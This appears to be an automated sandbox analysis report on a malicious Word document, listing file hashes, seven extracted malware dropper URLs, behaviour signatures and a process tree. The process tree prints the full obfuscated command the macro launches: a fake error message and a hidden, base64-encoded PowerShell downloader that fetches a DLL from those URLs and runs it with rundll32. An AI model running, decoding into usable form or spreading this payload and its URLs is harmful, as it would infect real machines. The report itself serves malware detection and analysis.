d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe

General
Target

d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc

Filesize

164KB

Completed

11-02-2021 19:54

Score
10/10
MD5

02b2dee96e10003270606dfd7e059d23

SHA1

defe94b8ae07e6c5db6942bc7d020b615c4ba75d

SHA256

d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe

Malware Config

Extracted

Language ps1
Deobfuscated
URLs
exe.dropper

http://www.achutamanasa.com/media/Te/

exe.dropper

http://opticaquilin.cl/wp-includes/FFueL/

exe.dropper

https://www.infoquick.co.uk/assets/h/

exe.dropper

http://vilajansen.com.br/loja_old_1/p/

exe.dropper

http://oftalmovilaplana.com/wp-includes/wfKu/

exe.dropper

https://cashyinvestment.org/wp-content/21dIZ/

exe.dropper

http://merkadito.mx/upload/6/

Signatures 10

Filter: none

Discovery
  • Process spawned unexpected child process
    cmd.exe

    Description

    This typically indicates the parent process was compromised via an exploit or macro.

    Reported IOCs

    descriptionpidpid_targetprocesstarget process
    Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process33003676cmd.exe
  • Blocklisted process makes network request
    powershell.exe

    Reported IOCs

    flowpidprocess
    231372powershell.exe
    251372powershell.exe
    291372powershell.exe
    341372powershell.exe
    371372powershell.exe
    391372powershell.exe
    411372powershell.exe
    431372powershell.exe
  • Loads dropped DLL
    rundll32.exe

    Reported IOCs

    pidprocess
    3184rundll32.exe
  • Checks processor information in registry
    WINWORD.EXE

    Description

    Processor information is often read in order to detect sandboxing environments.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0WINWORD.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHzWINWORD.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameStringWINWORD.EXE
  • Enumerates system info in registry
    WINWORD.EXE

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\BIOSWINWORD.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamilyWINWORD.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKUWINWORD.EXE
  • Suspicious behavior: AddClipboardFormatListener
    WINWORD.EXE

    Reported IOCs

    pidprocess
    880WINWORD.EXE
    880WINWORD.EXE
  • Suspicious behavior: EnumeratesProcesses
    powershell.exe

    Reported IOCs

    pidprocess
    1372powershell.exe
    1372powershell.exe
    1372powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    powershell.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege1372powershell.exe
  • Suspicious use of SetWindowsHookEx
    WINWORD.EXE

    Reported IOCs

    pidprocess
    880WINWORD.EXE
    880WINWORD.EXE
    880WINWORD.EXE
    880WINWORD.EXE
    880WINWORD.EXE
    880WINWORD.EXE
    880WINWORD.EXE
  • Suspicious use of WriteProcessMemory
    cmd.exepowershell.exerundll32.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 3300 wrote to memory of 34043300cmd.exemsg.exe
    PID 3300 wrote to memory of 34043300cmd.exemsg.exe
    PID 3300 wrote to memory of 13723300cmd.exepowershell.exe
    PID 3300 wrote to memory of 13723300cmd.exepowershell.exe
    PID 1372 wrote to memory of 40881372powershell.exerundll32.exe
    PID 1372 wrote to memory of 40881372powershell.exerundll32.exe
    PID 4088 wrote to memory of 31844088rundll32.exerundll32.exe
    PID 4088 wrote to memory of 31844088rundll32.exerundll32.exe
    PID 4088 wrote to memory of 31844088rundll32.exerundll32.exe
Processes 6
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc" /o ""
    Checks processor information in registry
    Enumerates system info in registry
    Suspicious behavior: AddClipboardFormatListener
    Suspicious use of SetWindowsHookEx
    PID:880
  • C:\Windows\system32\cmd.exe
    cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=
    Process spawned unexpected child process
    Suspicious use of WriteProcessMemory
    PID:3300
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      PID:3404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w hidden -enc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1372
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll,AnyString
        Suspicious use of WriteProcessMemory
        PID:4088
        • C:\Windows\SysWOW64\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll,AnyString
          Loads dropped DLL
          PID:3184
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
          Execution
            Exfiltration
              Impact
                Initial Access
                  Lateral Movement
                    Persistence
                      Privilege Escalation
                        Replay Monitor
                        00:00 00:00
                        Downloads
                        • C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll

                          MD5

                          87ab0405dd92650067542696ee0c2c98

                          SHA1

                          204e0200e2c648edf70d90472e0b6c4b15bc58c8

                          SHA256

                          8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

                          SHA512

                          2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

                        • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll

                          MD5

                          87ab0405dd92650067542696ee0c2c98

                          SHA1

                          204e0200e2c648edf70d90472e0b6c4b15bc58c8

                          SHA256

                          8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

                          SHA512

                          2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

                        • memory/880-3-0x00007FF920240000-0x00007FF920250000-memory.dmp

                        • memory/880-4-0x00007FF920240000-0x00007FF920250000-memory.dmp

                        • memory/880-5-0x00007FF920240000-0x00007FF920250000-memory.dmp

                        • memory/880-6-0x000002173BF20000-0x000002173C557000-memory.dmp

                        • memory/880-2-0x00007FF920240000-0x00007FF920250000-memory.dmp

                        • memory/1372-9-0x00007FF93BB40000-0x00007FF93C52C000-memory.dmp

                        • memory/1372-8-0x0000000000000000-mapping.dmp

                        • memory/1372-11-0x00000140A3B50000-0x00000140A3B51000-memory.dmp

                        • memory/1372-12-0x00000140A3850000-0x00000140A3852000-memory.dmp

                        • memory/1372-13-0x00000140A3853000-0x00000140A3855000-memory.dmp

                        • memory/1372-14-0x00000140A3856000-0x00000140A3858000-memory.dmp

                        • memory/1372-10-0x00000140A37F0000-0x00000140A37F1000-memory.dmp

                        • memory/3184-17-0x0000000000000000-mapping.dmp

                        • memory/3404-7-0x0000000000000000-mapping.dmp

                        • memory/4088-15-0x0000000000000000-mapping.dmp